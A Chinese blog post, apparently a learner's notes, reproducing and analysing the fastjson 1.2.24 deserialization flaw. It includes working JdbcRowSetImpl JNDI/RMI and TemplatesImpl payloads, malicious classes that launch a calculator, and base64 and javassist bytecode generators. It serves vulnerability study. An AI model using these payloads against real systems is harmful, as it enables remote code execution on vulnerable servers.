fastjson 1.22-1.24 漏洞复现与分析

fastjson 1.22-1.24 漏洞复现与分析

前言

QAQ,感觉自己啥也不会,要好好努力学习了。但是由于本人遗忘度很大,因此要记下来学习QAQ。

概念

RMI(Remote Method Invocation)

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

乱七八糟的一大串,简单来说,RMI就是一个只java远程调用方法的行为。

JRMP(Java Remote Method Protocol)

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。

JNDI(Java Naming and Directory Interface)

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

就是一个接口,可以通过lookup方法访问其所绑定的对象。

示例代码

程序A

继承Remote的HelloService接口:

public interface HelloService extends Remote {
	String sayHello() throws RemoteException;
}

HelloService的实现

public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
	public HelloServiceImpl() throws RemoteException {
	}

	@Override
	public String sayHello() throws RemoteException {
    	System.out.println("hello!");
    	return "hello!";
	}
}

RMI服务端

public class RMIServer {
	public static void main(String[] args) {
    	try {
        	Registry registry = LocateRegistry.createRegistry(1099);
        	registry.bind("hello", new HelloServiceImpl());
    	} catch (RemoteException e) {
        	e.printStackTrace();
    	} catch (AlreadyBoundException e) {
        	e.printStackTrace();
    	}
	}
}

程序B

public class RMIClient {
	public static void main(String[] args) {
    	try {
        	HelloService helloService = (HelloService)LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
        System.out.println(helloService.sayHello());
    	} catch (RemoteException e) {
        	e.printStackTrace();
    	} catch (NotBoundException e) {
     	   e.printStackTrace();
    	}
  }
}

先执行程序A再执行程序B就会打印hello。

fastjson 1.22-1.24 漏洞复现与分析_第1张图片
程序A启动了一个RMI的注册中心,并把HelloServiceImpl暴露在注册中心中。程序B启动之后通过命名寻找方法,最后通过JRMP协议发起RMI请求,程序A输出hello后将信息序列化发送给程序B,最后程序B反序列化输出。

反序列化

反序列化有三个函数:

parse (String text) 
parseObject(String text)
parseObject(String text, Class clazz)
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import java.util.Properties;

public class fastjsonTest {
     
    public String t1;
    private int t2;
    private Boolean t3;
    private Properties t4;
    private Properties t5;

    public String getT1() {
     
        System.out.println("getT1()");
        return t1;
    }

    public void setT1(String t1) {
     
        this.t1 = t1;
        System.out.println("setT1()");
    }

    public int getT2() {
     
        System.out.println("getT2");
        return t2;
    }

    public void setT2(int t2) {
     
        System.out.println("setT2");
        this.t2 = t2;
    }

    public Boolean getT3() {
     
        System.out.println("getT3");
        return t3;
    }


    public Properties getT4() {
     
        System.out.println("getT4");
        return t4;
    }



    public Properties getT5() {
     
        System.out.println("getT5");
        return t5;
    }

    public void setT5(Properties t5) {
     
        System.out.println("setT5");
        this.t5 = t5;
    }

    @Override
    public String toString() {
     
        return "fastjsonTest{" +
                "t1='" + t1 + '\'' +
                ", t2=" + t2 +
                ", t3=" + t3 +
                ", t4=" + t4 +
                ", t5=" + t5 +
                '}';
    }

    public static void main(String[] args) {
     
        String jsonstr = "{\"@type\":\"fastjsonTest\",\"t1\":1,\"t2\":2,\"t3\":3,\"t4\":{},\"t5\":{}}";
        Object obj = JSON.parse(jsonstr);
//        Object obj = JSON.parseObject(jsonstr,fastjsonTest.class);
//        Object obj = JSON.parseObject(jsonstr);
        System.out.println(obj);
    }
}

Json.parse(jsonstr)

fastjson 1.22-1.24 漏洞复现与分析_第2张图片
fastjson 1.22-1.24 漏洞复现与分析_第3张图片
setT1() 、setT2() 、getT4() 、setT5() 被调用

JSON.parse(jsonstr)最终返回FastJsonTest类的对象

JSON.parseObject(jsonstr,fastjsonTest.class)

fastjson 1.22-1.24 漏洞复现与分析_第4张图片

可以看见parseObject(jsonstr,fastjsonTest.class)的输出和parse一样,并且obj的类也相同。

JSON.parseObject(jsonstr)

fastjson 1.22-1.24 漏洞复现与分析_第5张图片

FastJsonTest类中的所有getter与setter都被调用了,并且JSON.parseObject(jsonstr);返回一个JSONObject对象而且其中的getT4还被调用了两次,这究竟是为什么呢?

我们先来总结一下:

  • parse(String text),构造方法 + setter + 满足条件额外的getter
  • parseObject(String text, Class clazz) ,构造方法 + setter + 满足条件额外的getter
  • JSONObject parseObject(String text),构造方法 + setter + getter + 满足条件额外的getter

分析

分析这里讲得很清楚了,就不复述了。http://blog.topsec.com.cn/fastjson-1-2-24%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%b7%b1%e5%ba%a6%e5%88%86%e6%9e%90/

JdbcRowsetlmpl

JNDI+RMI

因为过程中出现了bug,导致不能远程调用class文件,导致我学了一天才搞懂,虽然过程很自闭,但是还好最后解决了。我们先写一个JNDIserver的代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
     
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException, RemoteException {
     
        Registry registry = LocateRegistry.createRegistry(1099);
        System.out.println("Java RMI created!port:1099");
        Reference reference = new Reference("exploit", "badClassName","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("exploit",referenceWrapper);
    }
}

JNDIClient

import com.alibaba.fastjson.JSON;

public class JNDIClient {
     
    public static void main(String[] args) {
     
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/exploit\", \"autoCommit\":false}";
        JSON.parse(PoC);
    }
}

badClassName

import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class badClassName implements ObjectFactory, Serializable {
     
    public badClassName() {
     
        try {
     
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException var2) {
     
            var2.printStackTrace();
        }

    }

    public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws Exception {
     
        return null;
    }

    public static void main(String[] var0) {
     
        new badClassName();
    }
}

部署过程先运行JNIDServer然后再编译badClassName生成class文件,利用python启动HTTP服务,最后再启动JNDIClient便可以弹出计算器。
python3 -m http.server 8000(这里不写端口号默认为8000)
这里如果想要成功复现的话需要如下环境:

  • fastjson1.2.22-1.2.24
  • JDK<=6u141、7u131、8u121.
  • 在一些java8的版本也可以添加JVM参数-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

如果运行完成功弹出计算器,记得看一下http是否被访问,只有被访问,才算成功的复现,如果没访问就弹出计算器是因为在本地加载了class文件。当时为就是一直卡在这里,由于m1的适配问题,为换了一台电脑,但是又因为为Windows的环境问题有一些小bug,不过还好最终解决了。

具体分析

我们先逆向的分析,这样个人认为比较容易明白。
我们通过对JDNI注入的学习,应该知道JNDI注入是因为lookup的调用,那我们要思考中JdbcRowsetlmpl中哪里触发了lookup函数。
fastjson 1.22-1.24 漏洞复现与分析_第6张图片
fastjson 1.22-1.24 漏洞复现与分析_第7张图片
在JdbcRowSetlmpl函数中调用到lookup函数的是connect函数,我们看见lookup的参数是getDataSourceName返回的函数。我们上面总结过中parse中,会调用所有的setter函数,因此datasource是可控的。
fastjson 1.22-1.24 漏洞复现与分析_第8张图片
在setAutoCommit中调用了connect。因此POC遍显而易见了

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/exploit", "autoCommit":false}

这里先总结一下后面的调用链:

Lookup:417,InitalContext //jndi lookup函数通过rmi或者ldap获取恶意类
connect:624,JdbcRowSetlmpl。//通过connect触发lookup
setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit从而在后面触发了connect函数

我们再转回去看看

fastjson 1.22-1.24 漏洞复现与分析_第9张图片
从parse进入,刚开始会调用DefaultJSONParser,这个函数会将token设置为12.
fastjson 1.22-1.24 漏洞复现与分析_第10张图片
然后我们跟进DefaultJSONParser.parser函数中,

在上面我们说过token被设置为12,因此在这里会跳转到这个位置,
fastjson 1.22-1.24 漏洞复现与分析_第11张图片
fastjson 1.22-1.24 漏洞复现与分析_第12张图片
这里获取key值与@type做对比,然后获取class值。继续跟踪

这里调用了getDeserializer生成该类型的反序列化器,但是这里利用了ASM机制动态生成类,但是此类的Java源文件没有,无法进行调试,按照之前的逻辑,在FastjsonASMDeserializer_1_JdbcRowSetImpl中会获取到属性的key值,并通过DefaultFieldDeserializer.parseField方法反序列化属性。
我们进入到deserialize中。

这里将autoCommit作为key值传入。最后通过setValue触发invoke。
fastjson 1.22-1.24 漏洞复现与分析_第13张图片

后面就是后半段链了。
下面是利用链:

parse#fastjson
  paserObject#fastjson
   deserialze#JavaBeanDeserializer
    parseField#DefaultFieldDeserialzer
      setValue#fieldDeserializer
	invoke#Method
	  serAutoCommit#JabcRowSetlmpl
	   connect#JdbcRowSetlmpl
             lookup

还有一个利用链事LADP+RMI原理差不多,就不写了。

fastjson 1.22-1.24 Templateslmpl漏洞复习与分析

前言

前几天复现了一下jdbcRowsetlmpl,今天来分析一下Templatelmpl。个人觉得Templatelmpl链比jdbcRowsetlmpl的要简单一些。

复现

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {
     

    public TEMPOC() throws IOException {
     
        Runtime.getRuntime().exec("calc.exe");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
     
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
     

    }

    public static void main(String[] args) throws Exception {
     
        TEMPOC t = new TEMPOC();
    }
}

将这个编译成class文件,再利用python脚步读取class文件进行base64加密。

import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class POC {
     
    public static void main(String[] args) {
     
        String jsonstr = "{
     \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEAFFRlbXBsYXRlc0ltcGwvVEVNUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFu
c2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAA0ABAAOAA0ADwAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABMAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABgADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABsACAAcAAwAAAAEAAEAFAABABUAAAACABY=\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parseObject(jsonstr, Feature.SupportNonPublicField);
    }
}

fastjson 1.22-1.24 漏洞复现与分析_第14张图片

分析

  • @type:用于识别需要反序列化的类,这里需要识别的是templatetestlmpl,因为调用了getOutputProperties方法,实例化bytecodes进行命令执行。但是由于outputProperties和bytecodes是由private修饰,所以这里要添加Feature.SupportNonPublicField参数。
  • _bytecodes:继承AbstractTranslet,且有base64加密过的字节码。
  • _name:会对此进行判断如果为null则无法触发。
  • _tfactory: 和name相同
  • _outputProperties:触发漏洞的关键参数。

我们和上一篇文章一样,先从后面的链进行分析。

fastjson 1.22-1.24 漏洞复现与分析_第15张图片
在getOutputProperties函数中,调用了newTeansformer函数,我们跟入:
fastjson 1.22-1.24 漏洞复现与分析_第16张图片
跟入getTransformerImpl函数
fastjson 1.22-1.24 漏洞复现与分析_第17张图片
在函数中,先判断了_name是否为null,然后调用defineTransletClasses,其中调用了defineClass,defineClass主要的功能就是将字节码转换成class。

protected final Class<?> defineClass(String name, byte[] b, int off, int len)
    throws ClassFormatError
{
     
    return defineClass(name, b, off, len, null);
}

最后newInstance将恶意类进行实例化进行命令执行。
fastjson 1.22-1.24 漏洞复现与分析_第18张图片
下面是前面的分析,因为上一篇文章讲过的原因,这里就简单讲一下重要的地方,这里先将key和默认值进行比对,并且没有打开Feature.DisableSpecialKeyDetect,这个打开会进行关键字检测。然后通过loadclass加载templateslpml

getDeserializer会获取对应类的反序列化器JavaBeanDeserializer
fastjson 1.22-1.24 漏洞复现与分析_第19张图片
JavaBeanDeserializer会根据偏移量获取到下一个key值_bytecodes
fastjson 1.22-1.24 漏洞复现与分析_第20张图片
然后经过parseField获取value并设置到object中,
fastjson 1.22-1.24 漏洞复现与分析_第21张图片
在parseField中跟入

fastjson 1.22-1.24 漏洞复现与分析_第22张图片

可以看见这里进行了base64解码这就是为什么bytecodes进行base64加密的原因。
fastjson 1.22-1.24 漏洞复现与分析_第23张图片
我们可以看见这里说fieldinfo一件变成了outputProperties了,这是因为中smartmatch中将_替换成了空。之后会触发setoutputProperties。最后命令执行。

总结

之后木爷告诉我其实不用将java转成class文件。
直接用javasist动态生成字节码就可以了。木爷给的代码:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.util.Base64;

public class poc1 {
     
    public static String generateEvil() throws Exception {
     
        ClassPool pool = ClassPool.getDefault();
        CtClass clas = pool.makeClass("Evil");
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        String cmd = "Runtime.getRuntime().exec(\"open -a Calculator\");";
        clas.makeClassInitializer().insertBefore(cmd);
        clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

        clas.writeFile("./");

        byte[] bytes = clas.toBytecode();
        String EvilCode = Base64.getEncoder().encodeToString(bytes);
        System.out.println(EvilCode);
        return EvilCode;
    }
    public static void main(String[] args) throws Exception {
     
        final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String evil = poc1.generateEvil();
        String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";
        JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
    }
}

总结

也不知道自己理解的有没有问题,哎,终究是太菜,觉得大佬们都好强。还是要继续努力QAQ。

你可能感兴趣的:(java,安全)